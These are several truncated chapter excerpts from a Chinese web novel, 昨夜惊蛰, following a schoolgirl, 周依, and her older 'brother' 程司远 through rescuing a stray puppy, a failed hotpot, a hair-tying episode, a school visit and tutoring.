“老板,有小面包嘛?麻烦帮我拿一个吧。”周依对商店老板说道。 商店老板闻言随手拿了一个小面包递给她,说道:“一块钱。” 周依忙不迭地掏钱递给老板,生怕那小狗跑了似的,又急忙转身跑了回去。 “呼,还好,还在。” 看到树下安静趴着的小狗,不免松了口气。 她快步走上前,附身、蹲下,把手里的小面包掰的一块一块的放在小狗嘴边。 那小狗果然是饿急了,刚看到有吃的就一下子扑了过去,狼吞虎咽的。 周依看着着小狗在自己手边抢食吃的样子低低笑出了声道:“慢点吃,没人跟你抢。” 可惜小狗并不会说话,只是一个劲儿地吃着小面包。 周依也没有再说话,就蹲在旁边静静地看着。但她看着看着,就突然觉得这小狗好像有些眼熟。 短棕色的毛看起来茸茸的,眼睛也圆溜溜的看起来像两颗大葡萄,耷拉着耳朵吃得正是专心。 好像很久以前,自己也有过这么一只可爱的狗狗。 刚想到这,周依不禁嘲了一下。怎么可能,之前她自己都不知道家在哪,怎么可能还会养小狗。 这是什么,海马效应嘛? 她心里嘀咕了一声,垂眸看着那闷头苦吃的小狗,又伸手摸了摸。 她喜欢这些猫猫狗狗,好早之前就想养了,但这不是她张张嘴就能决定的事。家也不是她一个人的,贸然多一个成员,别人也会困扰吧。 况且张舒欣和程毅时不时的就会出差,她和程司远白天也都在学校,带回家,谁来照顾呢。 周依想到这眸子里的光似乎暗淡了些许,嘴角的笑意也渐渐散去,轻声道:“对不起啊,我不能带你回家,我做不了主,你明天还会在吗?要是你明天在,那我再给你买一个小面包,好不好?” 那闷头苦吃的小狗好像突然开了灵智般,原先耷拉着的耳朵也忽然竖起一只,朝着周依“啊呜”了一声。 周依被这小狗逗笑了,将手上的小面包都撕碎了给它,说:“那我当你答应了啊。” 落日的余晖染红了半边天,光从天边倾泻下来将树下小人儿笼罩在内。她四周金灿灿的,像是发着光,或许只有照片才能定格这一瞬的美好。 “依依,你怎么跑这了,找你半天” 一个声音周依从身后传来,她闻声转头,侧过身对那人说道:“佩佩你来啦,我刚刚等你的时候看到有只小狗,你看,它好可爱啊。” 李佩佩听了觉得好奇,也附身凑上前去看那小狗。 “哇,真的好可爱,它没有主人嘛?”她说。 周依摇了摇头:“不知道,感觉是没有,我没看到附近有人。” 李佩佩皱了皱眉,表情不悦道:“谁遗弃小狗的,太过分了,良心都不会痛嘛,我要是这狗,我非咬他不可。” 她说到最后甚至有些气愤,周依在一旁倒是没说话。只不过她也很生气,但确实没办法,毕竟这个世界上不是所有人都有良心的。 “我家养不了狗,我要把它带回去,我爸妈估计能把我扔了。”李佩佩道。 周依无奈的叹了口气,她家开了烧烤店,把小狗带回去也确实不合适。先不说带回去有没有人照顾,就单论食品安全问题小狗也不能呆在那。 那放哪,放哪好像都不合适…… 正在两人都不知道该怎么办时,一个声音忽而响起:“依依,你在干嘛?” 周依听到这声音先是一惊,随即又笑道:“哥哥这有只小狗,你快来看超可爱的。” 说话那人不是程司远还能是谁? 一头干净利落的短发,虽身穿校服,但依旧藏不那挺拔的身姿,或许是经常打篮球的缘故,整个人看起来张力十足。 他抬腿走近俯身看了一眼,薄薄的嘴唇上露出不可察的笑意,眼角微扬,总是带着一股少年人的肆意。 “小狗啊,是挺可爱的,但——”他看着周依说:“没你可爱。” 周依的脸颊倏然出现两抹绯红,细声道:“什么啊……” 旁边李佩佩大大咧咧的,用胳膊捅了捅周依,一脸花痴样:“诶诶依依,这就是你哥啊,长得真帅。” 周依:“……” 她也知道她哥得帅,可……干嘛说出来啊,还当着程司远的面?她这点头也不是,摇头也不是,还真是谢谢了“我铁”? 程司远听了,转头介绍道:“你好,我叫程司远。” 他看着周依,又补充道:“她哥。” 李佩佩在一旁连忙应 12. “惨案” 《昨夜惊蛰》全本免费阅读 程司远瞥了一眼段梓坤,指了指周依怀里的小狗,没好气道:“你家能收留狗嘛?” 闻言,周依和李佩佩也是一脸期待的看着他。 段梓坤尴尬笑两声,讪讪道:“抱歉啊,我妈她不喜欢狗,养不了。” 但两人还没来得及失望,就又听他说:“不给我知道一家宠物店,他家好像收留流浪狗,要不去问问?” 两人大喜!终于有了希望。 程司远嘴唇微动,还没来得及说话,就听周依的声音先一步响起道:“真的?那我们快走,万一人家下班了怎么办?” 旁边的李佩佩也是高兴,随声附和道:“就是就是,咱们走。” 说着,就挽起周依的胳膊,准备出发宠物店。 “诶,等等、等等,那地方离这挺远的。”段梓坤看这两女生兴冲冲的样子,连忙开口道:“我跟司远两个人去就行,你们小女孩儿就先回家吧。” 李佩佩一听这话,脾气立马就上来了。刚觉得这人还有点用处,怎么一开口就惹人烦呢,看不起谁呢? 她双手交叉放在胸前,抬起下巴,斜仰着头对段梓坤说:“诶,什么意思,这狗我们发现的,要去也是我们去。小女孩儿怎么了,小女孩不能去?” 段梓坤看李佩佩这架势,感觉自己下一句话说不对就要被打,连忙辩解道:“不是不是,那地方真的远,现在放学都好一会儿了,你都不怕你爸妈担心?” 他说完嘴里还嘟囔着:“再说,你去你也不知道地方啊,” 声音虽然小,但李佩佩还是听到了,更是气不打一出来。刚想开口骂回去,但又觉得这人说的有道理,自己确实不知道在哪,而且天际余晖将散,也确实该回家了。 她嘴张了张,最后也只是不愤地“哼”了一声,不说话了。 程司远在旁边听了也觉得有道理,走到周依身边伸手摸了摸她怀里的小狗,说:“我和他去就行,你先回去。” 周依低头看了看自己怀里的小狗,心中不免有点小失落,瘪瘪嘴道:“那哥哥我先回家了,你也早点回来,我等你。” 程司远的眼眸被那即将消散的余晖,照的有些发亮,他嘴角微扬,鼻息间也似乎有轻快的气流,喉咙里发出“嗯”的一声。 段梓坤见事情解决又忍不住的打趣:“依依这么听话,以后要不要当我老婆啊。” 周依看着段梓坤这幅贱不嗖的样,只觉得程司远看人眼光不行,怎么这么嘴欠的人都能当朋友? 她无语的嘴角直抽搐道:“不要。” 程司远是个行动派,没说话就直接一脚踹在了段梓坤的腿上。 他这个朋友平时也没什么毛病,为人也很是仗义,算是为数不多玩的好的。但怎么一张嘴就这么欠呢?要周依当老婆,癞蛤蟆想吃天鹅肉? 段梓坤被踹的一个趔趄,转眼又见程司远那张黑脸,也没再继续犯贱。 “开玩笑的、开玩笑。”他伸手抱过周依怀里的小狗道:“那我们走啦,下次见啊。” 周依和李佩佩看着两人离开的身影,便也双双回家了。 只是周依到家才发现,家里居然一个人都没有,心里不由啧了一声,早知道就跟着一起去了,哪有什么担心的人。 她不免觉得恹恹地,走到沙发旁歪身躺了下去,眨巴着眼睛看着前方的虚空,愣愣发呆。 半晌,她忽然眼睛一亮,又倏地从沙发上站了起来,嘴角上扬,快步走向了厨房。在冰箱前站了一会儿,又伸手拿出来了牛肉卷、午餐肉、油麦菜…… 还有火锅底料。 看样子是准备要大显身手了。 她想到前几天程司远抱怨自己太忙,连出去吃口火锅的时间都没有,就想着趁他回来之前做好,算是为他在繁忙的高三生活里准备的惊喜。 周依觉得自己肯定没问题,火锅有什么难的,火锅底料、水、菜,很简单嘛。 她心情十分愉悦,嘴里还哼着小调,转手就拿了个小锅、加水,然后放入火锅底料、开火,又转身去洗菜。 自认为有条不紊。 只是她菜刚洗到一半,就听锅里的水已经在咕嘟嘟的吐着泡泡,冒着热气了。 周依不免愣了愣,觉得跟自己想得不太一样,按理来说它应该过一会才会沸腾啊,怎么这么快就好了,火大了? 她腹诽一声,急忙放下洗了一半的菜去关火。 可就当一切都准备就绪了,她又发现自己好像忘了主食这回事。 周依看着粘板上的菜沉默几秒,忽然拍掌惊喜道:“对啊,可以下面。” 话音刚落,就忙不迭跑向一边的储物柜,拿了之前买好的挂面,决定用它当主食。 只是……周依看着再次烧沸对水,又陷入了沉默—— 牛肉卷跟面,先放哪个来着? 她凝视着砧板仔细思考了半天,半晌,点了点头。 觉得应该先放火锅底料。 “咕嘟嘟,咕嘟嘟”那锅滚个不停,麻辣鲜香的味道倏地被激发出来。 闻着味道的周依只觉得信心暴增,不免的得意起来,随手拿了牛肉卷就丢进了锅里,一副“大家”风范。 她站在锅边等了差不多一分钟,动作行云流水,抓了一把挂面就放进去,还不忘拿着筷子左右搅拌。 但奈何这刚放入锅的挂面实在干瘪的可怜,这滚动之下愣是显得没有几根。 周依皱了皱眉,觉得程司远肯定不够吃,便好心的又抓一把放了进去。她看着这满锅的肉卷和面,不由扬了扬眉,觉得自己简直是天赋异禀。 红油翻滚,沸水滚烫。 周依正在心里正无限歪歪,该怎么向程司远讨好处时,突然—— “啊!” 她惊叫一声,急忙收回被溅出来汤汁烫红的手臂,快速打开水流冲洗。 还等她没来得及松一口气,抬眼又见砧板上洗好的蔬菜居然还放着。 “咕嘟嘟,咕嘟嘟”那锅还是滚个不停,汤汁翻滚,你争我抢的逃出锅缘。 周依傻眼了,也不管三七二十一,抓了菜就往锅里塞。哪还有半点儿刚刚悠闲自得的样子,只怕现在再给她十双手都不一定够用的。 筷子不停地搅拌锅里的面,锅里汤汁渐渐蒸发,食物还时不时发出“嗞嗞”声响,眼马上就有碳化的风险。 这下周依彻底慌了神,之前小时候就因为煮面把锅煮坏了,难不成今天又要坏一个? 那不得被程司远笑死了。 不行! 她心里暗骂一声,手下更是卖力地搅拌着锅里的面,誓死也不能让它们粘锅! “咔哒”。 程司远刚进门就闻到一股火锅底料的味道,以为是张舒欣在厨房忙活也没太在意。 可谁知他一眼扫过去,发现那忙活的身影居然是慌里慌张的周依,顿时吓了一跳,急忙跑到厨房,喊道:“你在干嘛,关火、先关火。” 周依一手死死的按着锅柄,一手还拿着筷子极速地搅拌,急得眼眶里都含着泪。她仰头看着程司远,大有一种骑虎难下的感觉。 如果她有第三只手,那她一 13. 短发 《昨夜惊蛰》全本免费阅读 程司远沉默几秒,又拿起筷子吃了一口,缓缓点头道:“嗯,还不错。” 周依眉心一跳,不由觉得疑惑。真的假的,它都成那样了……还能好吃?? 她暗自腹诽一声,咧了咧嘴,不满道:“哥哥,你这骗人的水平跟我做饭的水平也差不多嘛,怎么睁眼说瞎话呢。” 表示,我是傻子才信你说的。 程司远听了,摊摊手道:“我什么时候骗过你。” 周依眨眨眼,狐疑地看着他,心里忽然动萌生出一个想法,难不成真的好吃?真就瞎猫碰到死耗子了? 实践才是检验真理的唯一途径。 下一秒,周依伸手就抢过程司远手中的筷子,道:“那我尝尝。” “诶——” 程司远还没来得及阻止,就见周依已经吃了一大口在嘴里。 他怔了怔,还是开口道:“有点咸。” 面刚入口,周依倏地瞪大了双眼,忙不迭从旁边抽了几张纸,低头就把刚刚吃的面吐了出来,拿着水杯就吨吨吨地喝水。 半晌,才皱褶眉头一脸嫌弃道:“哇,这也太咸了。” “有那么咸嘛?”程司远忍俊不禁道:“我觉得还好,挺好吃的。” 周依又喝了一口水,一脸难以置信道:“哥哥你舌头难不成是坏了?这好吃?” 说着,伸手去端程司远的碗:“我还是倒了吧。” 程司远先一步端起碗,连忙伸手阻拦,眼底波光闪烁,似有笑意溜出,说:“不让倒,可能我就是舌头坏了。” 周依伸出去的手捉了个空,看着灯光下的程司远,像是发着光,一双微眯的桃花眼像是印了满天星河。她脸上微微发热,心跳声大的像擂鼓。 瞬即低头,也不去抢了。 周依垂眸按耐住自己的不安,心里疑惑道,怎么回事,难不成咸的吃太多了? 想到这,她又觉嘴里的咸味儿还没散去,伸手就拿起水杯又吨吨喝了几大口。 程司远看周依像是放弃了,这才把碗又重新放回桌子上,拿起她刚刚放下的筷子,自顾自吃了起来。 确实有点咸,但不知为何这咸味到他嘴里,嚼着嚼着就变成了甜。甜到了胃里,也甜到了心里。 一个人在黑暗里呆久了也不会觉得有什么,周围都是乌漆嘛黑,张眼闭眼都是一样。 直到某天有一束光不小心闯进来,横冲直撞的,倒是照亮了不少地方,原本漆了墨的四壁好像也多了几分光彩。 周依看着程司远一口一口吃着碗里面,心中微动又觉喉头发干,手指不停的摩擦着水杯,心乱如麻。她肯定是被咸到了,太咸了,不然怎么会这么渴。 一碗面很快就见了底,周依轻咬着嘴唇,眼底似有波光。她的手像是自己长了脑子,端着水杯就递给了程司远,嘴巴好像也不受控制了,自言自语道:“哥哥,你快喝水。” 程司远伸手接住,手指相碰,温润的触感从指尖传递到了周依心底。 电光火石间,她的心跳也仿佛空了一拍,刹地收手,撇过脸低下头。 可缓过神来,又想起那水杯还是自己的,刚刚还喝过。她心中又是一跳,抬头就想拿回来,可—— 程司远端着水杯,唇瓣紧贴着杯缘,喉咙上下滚动,已然再喝了。 这一刻周依只觉自己头脑混沌,心脏扑通扑通跳个不停,脸也烧的厉害,如坐针毡。她猛的站起身,红着脸低着头支支吾吾着:“我……我去刷碗。” 真咸。她肯定被咸到了。 程司远还没来得及制止,就见刚刚还坐在对面的人,已经拿着碗,跑去厨房了。他看着那抹背影有一瞬的怔愣,不由觉得这小孩儿,好像……长大了。 他眼神柔了柔,那若有若无的笑再次悄悄爬上嘴角。 长大了也是小孩儿,那有让小孩儿做饭还刷碗的道理? 厨房内,水流哗哗作响,周依一只手拿着碗,一只手拿着清洁棉,双手不停歇的清洗着,动作虽快,但毫无章法。就像她此刻的心,乱如一团。 她不知道为什么自己会这样,想了半天,也找不答案。 周依有些烦躁,竟不知几个动作间,洗碗池里的水都溅到了自己脸上,一缕头发也湿润地贴在自己的嘴角。 她只是大力的清洗着手中的碗筷,像是怎么都洗不干净。 “放那我来吧。” 周依被吓得一惊,随即转头,就见程司远抬腿进了厨房。 “不用,我马上就洗好了。”她说。 程司远走到她身边,见这人儿洗得脸上到处都是水,嘴角含了丝笑意,说:“小孩儿不会洗碗啊,看看脸上都是。” 说着,便伸出手擦去了周依脸上的水珠,顺而又用指尖去撩开她嘴角边的头发,笑意依旧道:“头发都吃嘴里了。” 周依没能来得及闪躲,只觉那温热的手掌划过脸颊,指尖触到唇角,酥酥麻麻。这别样的触感又是让她觉得自己的脸烧的厉害,心跳得厉害。 想要再低头洗碗,就见那人先一步把碗拿了去。 周依手上动作顿了顿,抿唇站在一边。 一时间,有片刻无言。她想张口说话,却又不知道说些什么,挣扎之际,程司远的声音忽然在耳边响起:“为什么一直留短发,是不喜欢长发嘛?” 在他印象里,从一开始见周依到现在,她一直都是短发,这么多年好像也没留长发的打算,不由得好奇。 但或许,他也只是想打破此时的沉默。 周依没想到程司远会突然这么问,不免愣住,抿了抿嘴唇,不知道该怎么回答。 程司远见她犹豫,便开口道:“我就随口一问,你不想说——” “不是。”周依忽然开口打断他,垂眸道:“喜欢的,我喜欢长发。” 她低着头,声音越来越小:“因为我不会扎,也没人教我,所以、所以就一直留了短发……” 她是喜欢长头发的,每次看见别人长发飘飘她都很羡慕。 很小的时候周依也留过一段时间长发,那时候的张舒欣还每天换着花样的给她扎头发。 但好景不长,她生夫做了生意赔了本,欠了一屁股债,张舒欣不得不一人打好几份工,那段时间别说连照顾周依了,就连家里也待不了多长时间,更何况是扎头发这种小事。 她当时是想自己扎头发 14. 观光 《昨夜惊蛰》全本免费阅读 周依确实是没想到还能用丝带,可是,这样一来难度不就更大了? 能行嘛…… 她看着程司远的眉毛都不由皱了起来,紧抿着双唇,等待他下一步动作。 就见这“自信本人”手里拿丝带,大步走来,眼底含笑,一副胸有成竹。 周依微微低头,双手抓住自己衣服轻轻的摩挲着,心底不由升上来一种莫名的紧张感。 要不还是算了? 可就在她刚要打退堂鼓时,突然一只手划过了自己的耳垂,周依身体猛地一僵,手心微微渗出汗来。 她从来没有被人这样触碰过,酥酥麻麻的感觉从心头升起,就连身体也忍不住的微微颤抖。 她一动也不敢动,只觉自己现在脸烫的厉害,心里也痒的难受。 尽管周依尽力隐藏自己的异样,可终究还是被身后那人发现异常,低沉的嗓音在自己头顶响起:“你怕痒?” 他的话语里还掺杂着几分笑意,继续道:“那我可知道要怎么欺负你了。” 声音低沉,玩味十足。 周依的耳朵唰一下就红了,嘴巴轻启,言语支吾道:“我、我没有!” 她不要扎头发了,她想走。 程司远见手下小孩儿要起来,伸手就把她按了回去,说:“快坐下,就好了。” 周依被重新按回椅子上,又觉自己比刚刚离他更近了一点,后背的触感是那人温热身体。 她本想往前挪一点,可只刚动了一下,就被身后那人打断道:“你别动,这个不好系,总是松开。” 他的声音有些急躁,似乎对手中不听话的丝带很是烦恼。 周依深吸了一口气,想要平复自己心中这陌生的感觉。她这样有些奇怪,刚刚也好,现在也罢,好奇怪,为什么? 她垂眸没有说话,也不敢再有动作。 片刻,周依忽觉头上一轻。 “嗯,不错。” 程司远带着些笑意的声音在耳边响起。 周依瞬即回了神,见他扎好便想要感知自己发辫似的,左右摇了摇头。可她刚这么一摇,就一下愣住了,觉得不太妙—— 这怎么一甩一甩的? 丸子头会……甩? 周依怔了片刻,立即起身道:“我去看看什么样。” 说完,不等程司远的反应,就大步跑到了洗漱台前。 周依看着镜中的自己,一脸无语,嘴角抽搐。 她头顶的头发被淡蓝色的丝带束得很高,但那簇被束起的头发像是被炸开了花,前后左右肆意散着,丝带很长,没被系节部分自由散落在自己脑后。 不错?疯了? 这个鸡毛毽子一样的发型不错?这跟给自己看的图片上的发型…… 也太像了,简直是一摸两样! 周依快被这滑稽的发型气得脸都歪了,走出洗手间就朝程司远瞪了一眼,气愤道:“程司远,你真行!” 闻言,程司远嘴角憋着笑就走了过来,手里还握着手机,说:“是挺行。” “……” 周依无语,扬了下巴朝他挑衅道:“等着、等我学会了,到时候肯定比你强!” “噗哧”一声,程司远看周依这幅样子还是没忍住,自顾自笑了起来。 周依羞恼不已,跺脚道:“你就笑吧,不理你了,我写作业去。” 说完转身就走,表示不奉陪。 见她走了,程司远笑着笑着却突然笑不动了,嘴角的笑意慢慢收了起来。他睫毛微垂,低头看着手机里那张缩影,有片刻的恍惚。 但很快这本不该有的恍惚,便被一张又一张的试卷埋了个干净。 四月的风总是格外温柔,没有寒冬的凛冽,也没有酷暑的燥热。丝丝缕缕,盈盈绕绕。 高考在即,中考在望,不少学校都组织了自主招生考试,程司远所在的吴都第一中学也不例外。它作为吴都的百年名校更是一众学子挤破头想进的地方。周依也是。 一中自主招生前对外开放了两天,供外校学生进校参观,条件是每个学校的年级前二十。很巧的是周依正好是她们学校的第二十名,被安排在了第二天下午。 那天下午,校车把周依一行人拉到了一中门口。 老师拿着旗子走在最前面,后面的学生熙熙攘攘的,左看右看好奇个不停。周依跟在人群最后也忍不住的张望。 她前几天跟程司远说过她要来他的学校参观,如果有空的话他们还能见一面,但程司远当时却说:“那两天要考试,你见不到我。” 周依不信邪,考试又不是连着考一天,总有个休息的时间吧,万一就凑到一起了呢?说不定就碰上了。 “我们要走了,都跟紧点别走散了。” 老师拿着小喇叭在队伍前方说着:“往前走就是一中的历史文化馆,一共有三楼,第一层是……” 老师还在继续介绍,周依却是没怎么听进去。 上课的听声响了,路上的学生也纷纷回了教室,只剩下零星的三五个老师,手里还抱着一沓沓的卷子,看样子应该是刚取了卷子回教室。 周依眼前一亮,如果这就是程司远要考的卷子,那等他考试结束后不就能见到了? 她低头看了自己的手表,又抬眼看了看大部队最前面的老师,随即快步跟上。 如果来得及的话。 一中的绿化做的继好,教学楼前的空地上有一个小池塘,里面的锦鲤在水里游着,阳光洒在水面上泛着粼粼波光。池塘边上还种了不少花束,一路蜿蜿蜒蜒到了盘满绿藤的凉廊。 “哇,这种了好多花啊,闻起来真香。”队伍中的一个女生说了话。 “是啊,我都不敢想我在这上学能有多开朗。”另外一个女生随声附和。 “我倒是觉得操场才是亮点,那一长排都是篮球场,简直是我梦寐以求的。”说话的那男生激动手舞足蹈。 “除了操场还有食堂呢,我刚刚一路上数了数,有四个呢,旁边还有小卖铺,美死了。” “你这么就知道吃,我倒是觉得一中的人好看,男生长得帅,女生长得美。” “行了吧你,还没考上呢就犯花痴。我要是考上了我就奔着清华北大去,它可是一中啊。” 二十个人一路上叽叽喳喳的,周依没有加入讨论,她只是一边走一边在想—— 这条路程司远应该也走过,那刚刚池塘里的小鱼应该认识他的。 操场很大,跑道一圈绕着一圈地,可那白线好像是被踩得次数多了,有点褪色了,应该也有他的功劳。 食堂真的很多,他中午的时候经常去的是哪个呢? 如果来得及,她想问问他。 “周依,你在想什么呢?半天了不说话。”一个和周依关系不错女生跑来问她。 周依一下回了神,讪笑道:“奥,没什么,就是在想怎么能考进来。” 那女生环了周依的胳膊,一脸惆怅道:“我也是,好想考进来,但是好难呐。” “好了好了,大家不要叽叽喳喳了。” 老师拍着手走了过来,抬手看是时间说:“现在我们也参观的差不多了,离回去还有二十分钟,大家可以四处再看看,二十分钟后在操场大巴集合。” 正听旁边女生抱怨的周依心里一喜,真是要什么来什么。 “奥对了。” 那老师像突然起到什么,都要走开了又转过身补充道:“教学楼里面就不要进了,今天有的年级在考试,知道了吗?” 听到自由活动的时间到了,大家都激动一片,纷纷大喊着:“知道了!” “谢谢老师” “好的老师!” 这下,周依犯了急,绷着脸站在一边皱眉不语。这不让去可怎么办,总不能偷偷溜进去吧…… 她正想着,忽然身边的女生拽了拽她说:“周依要不要跟我一起去艺术楼看看?听说展览版上贴了不少好看的画。” 周依挣扎了一会儿,轻咬了下嘴唇,抽回被她环着的胳膊,抱歉道:“不好意思啊,我有其他想去的地方,就不陪你去艺术楼了。” “啊?那你去——” “抱歉。”周依打断她,说完转身就跑。 其实,也不是不行。 周依一路气喘吁吁,来到了老师口中不能来的教学楼,她有些紧张的吞咽了一下口水,心虚地够着头朝门口张望了一下。静悄悄的一个人都没有。 她咬了咬唇,仰着头眼睛快速在楼层显示图上扫动,随后头也不回就上了楼梯。 她就偷偷看一眼。 一楼、二楼…… 周依看着四楼的牌子停下了脚步,手扶着楼梯大口的喘着粗气。因为刚刚剧烈的运动,她的脸也红扑扑的,额前渗出汗水,刘海也有些凌乱了。 她深吸了一口气来平复气息,小心翼翼地走在长廊上。好安静。 高三的教室里都是埋头书写的身影,笔尖摩擦着纸张发出沙沙声响。周依轻手轻脚来到(1)班的门边,点着脚,伸着头向里面张望。 教室里的少年们拿着笔在他们的战场上拼命厮杀,完全没有人注意到门口处还偷偷站了位“假巡考”。 那“假巡考”像极了午后刚睡醒的猫,站在长廊上迷迷糊糊的,眼神四处飘动,寻找它的主人。 在哪? 猫的眼神极好,但它看了一圈,发现这里似乎没有它要找的那抹身影。 不在吗? 正在周依感到失望时,忽然—— “依依?” 15. 爱幼 《昨夜惊蛰》全本免费阅读 一开始程司远是拒绝的,倒不是因为他不乐意辅导。 他当初考上一中的时候也是下了番功夫,对考试题型还算是了解,但耐不住那已经过去三年了。 题型是否变化、他不知道,重难点是否转移、他不知道,内容所占比例是否改变、他也不知道。 正所谓,闻道有先后,术业有专攻。比起让他辅导,不如去专门的补习班或许来的更合适些。 虽然话是这么说没错,但耐不住某人犯懒不想走路去上补习班。同时又觉得自己可以仗着层“关系”,在课堂上能肆意妄为,比如,边上课边吃小蛋糕? 况且还不要钱! 种种诱惑摆在周依面前,她实在是没有办法拒绝这个可以白来的老师。于是—— “哥哥你渴吗?我去给你倒水。” 周依得了闲,就去程司远门口站岗。 程司远瞥了眼这十分钟内出现在自己桌子上的可乐、椰奶还有橙汁,转头问:“你把我当水牛呢?” 周依怔住“唔”了一声,觉得有些尴尬,揉了揉鼻子道:“那我去给你拿点小饼干,配着正好。” 说完不等程司远拒绝,抬脚就走,但离开刚两步又退了回来,嘟囔道:“还有、什么把你当水牛,我明明把你当老师。” “……”程司远。 周依看了眼他无语的表情,撅着嘴鼻腔里发出“哼”的一声,再次抬腿离开。有些得意。 一开始,程司远也只以为周依在兴头上,等过几天那个热血劲儿过去,就不想这茬事了。毕竟程毅都已经给她找好补习班了,何必在自己这浪费功夫。 况且有那闲时间,题都能刷不少了。 但显然他不知道,这种事对周依而言那是越挫越勇,越是不答应,那她就越是要缠着你答应。 开玩笑,好歹人家也是成功攻略“相处任务”的。 这一连五六天下来,周依还在继续,程司远甚至都觉得自己被喂胖不少。更有甚者,那“缠磨精”没事儿就直接拿着模拟题在门口蹲他,等着他问。 行,他惹不起,但他躲得起。 这天下午放学,一贯积极回家的程司远今天偏偏墨迹到了最后,教室里的人都走的差不多了,他还在慢悠悠然写着卷子。 一旁已经收拾好书包,拿着篮球准备溜之大吉的段梓坤,看了一脸震惊道:“哎我去,我眼花了?今儿我们程大帅哥不着急回家,居然在学校用功?” 程司远没搭理这贱不嗖的发言,依旧垂眸写着手下的卷子。 段梓坤见他不说话更是来了兴趣,几个跨步到他身边坐下,八卦道:“你不对劲,你不正常!是不是跟周依吵架了,闹矛盾了?” 程司远放下笔,抬着眼皮无语地看了他一眼,又垂眸道:“没有。” “奥?没有?不信。”段梓坤仗义万分道:“有问题就解决问题,来、说出来,兄弟给你出出主意。” 程司远顿了笔,轻抿着嘴唇没有说话。 段梓坤一看有戏,伸手就抽走桌子上的卷子,举在半空,一本正经道:“这次我保证,我一定认真考虑问题,就问题出发,给出确切实际的解决方案。” 他说完顿了顿,又补充道:“力争。” 程司远眉间稍舒,伸手拿回被抽走的卷子重新放回桌子上,淡淡道:“也没什么,就是这几天非要缠着要我给她辅导课程,没答应。” “所以就在学校躲着?”段梓坤问。 “也没有。” 程司远说着话,琥珀色的眼睛在试卷上微微扫动,抬手就在括号里写下一个数字。 段梓坤还没张口再问,下意识瞟了一眼他手下的答案,随即一副见了鬼的模样,惊道:“我靠哥们儿,这题你都不拿草稿纸的?看一眼就写了,把数学当英语呢?” “……” 程司远白了他一眼,抬手就在题号上画了个圈,随后又将卷子翻转过去,在另外两道题前也画了圈,说:“这不都做过嘛,你鱼的记忆?” 段梓坤不信邪,拿过卷子有模有样地看了半天。 片刻抬头,他看着程司远满脸迷茫道:“完全没印象。” 天知道他真不是三秒记忆,现在三轮复习完,卷子都不知道做多少了,况且这卷子还都是年级组精挑细选的,重复率本来就不高,他那能记得哪道题是哪道题。再说,就算他记得,一眼就看出答案也太—— “你变态吧!”段梓坤说。 程司远再次拿回卷子,铺展在桌子上,没好气道:“你弱智吧。” 段梓坤被噎得说不出话,半晌,他又问道:“那你为什么不答应周依?” 他打算跳过那个让他怀疑人生的话题。 “没有为什么,不会教,教不了。”程司远说着,又抬手刷刷做了道题。 段梓坤斜了他一眼,说:“你这话说的就不对了,前几天那数学老头划水,上课讲卷子讲一半就开始叫你代讲,下面听的一个比一个人认真,你不会教?” “那不一样。”程司远说。 “有什么不一样的,我觉得没什么差别。再说周依的题能有多难,还能把你难住?” “……” 程司远一阵无语,收了笔靠坐在椅子上,说:“我是能教她,但去专门的辅导机构会更好,他们对考试理解的更深。” “那你这么说也对。”段梓坤道:“但周依应该想不到这么多吧。” 程司远没有说话。 “要不这样。”段梓坤挑眉笑道:“你先回去给周依讲一天,把难度跟强度都加大,让她知难而退。到时候受不了,自然就去补习班了,怎么样?” 程司远眼皮微动,静坐了几秒,随后拿了卷子就往书包里装。 “嗯?不写了?”段梓坤眉间一喜,拿起手上的篮球就问:“那咱们今天去打会儿?” “不去,回家。” 程司远提了书包就走,对身后道:“虐小孩儿。” “嗯?” 段梓坤看着程司远几近消失的背影,抱怨道:“不是,这怎么还见色——呸、见妹忘义呢……” 他嘴上“啧”了一声,将球在指尖上轻轻转了一下,低声喃了一句:“都多久没打了。” 高三的日子总是这样,上不完的课、写不完的卷子还有考不完的试,从早到晚,日复一日。娱乐变成了偶尔,睡觉变成了抽空,就连平常写作业时的摸鱼划水都变了一种奢侈。 只是程司远奢侈跟别人的有些不同,从摸鱼划水顺便接收投喂,变成了—— 顺便虐哭小孩儿。 今天他回家的晚,以为周依已经写完作业在门口蹲点了,没想到自己一开门居然没人。 程司远有些纳闷,回自己房间时顺带扫了一眼对面的房间,大门敞开,空荡荡的,也是没人。 “没回来?” 程司远嘟囔了一声,迈步进了房间,刚抬手准备把书包扔在桌子上,忽然动作一顿,瞥见了桌上放的苹果、沙琪玛还有一张纸条。 他转而将书包挂在座椅靠背上,拿起桌纸条,上面写着: 哥哥快尝尝这个沙琪玛,可好吃了,甜甜的还不粘牙。苹果是洗过的,也甜。 这小纸条程司远并不陌生。 平时周依买了小零食,或是得到什么新鲜玩意,总会第一时间分享给他,但遇到对方有事就不行了。 刚开始住在一起时,程司远放学还会在学校里逗留一会儿,跟段梓坤篮球也好,在班级写作业也罢,他其实不太想早早回家,也对周依的所作所为不感兴趣。 只是后来程司远发现,只要自己没回家,周依就一定会蹲在门口等他回来,也不出去玩,非要让自己吃到第一口、玩第一下才行。 一次两次也就罢了 16. 物理 《昨夜惊蛰》全本免费阅读 周依和程司远房间分别位于走廊两侧,朝向很像,布局……原本也很像的。都是窗边放了书桌,对角放着张床,靠着门口的那面墙立了衣柜。 但程司远可能是仗着自己房间大,不知道什么时候就把自己的书桌给搬了个方向—— 和衣柜并排放了。 那摆法,但凡房间小点估计都不行。就像周依,如果她也这么放,那估计半个桌子都在门外了。 还记得有次周依去他房间放小纸条,看到这乾坤大挪移的摆法吓了一跳,就问程司远为什么把书桌搬门口。 他说:“风景好,宜做题。” 这话说出来周依更纳闷了,风景好的不应该是窗边吗?跟它门口有什么关系? 可还没等她再问,就被程司远一句“大人的事,小孩儿别多管”给噎了回来。 行,她不管。一个空白墙他还能看出花来? …… 周依听程司远要后悔,急忙摇头活像个拨浪鼓道:“啊别别别、我不问,不问了。” “那就走吧。” 程司远将挂在椅背上的书包挎在身上,顺手又搬了椅子。 “嗯?” 周依愣了一下,问:“去哪?” 程司远抬头朝她的房间扬了一下,说:“你房间啊,不然要来这吗?” 说着,眼睛扫向自己的桌子。 周依顺着他的目光看过去—— 那原本挺宽敞的桌子,如今整整齐齐垒着一摞又一摞的书,肉眼可见的……拥挤? 好像确实是没有多余的地方再趴一个人。 她咽了下口水,点头道:“你说的对。” 到了房间,周依把书包放倒一旁的的小架子上,搬着凳子往旁边移了移,留出一大片空间给程司远。 程司远瞥了眼那马上要移到国界边的椅子,说:“你这是要趴在地上学?” “啊?”周依说:“不啊,我趴桌子上。” “我用不了那么多地方。” 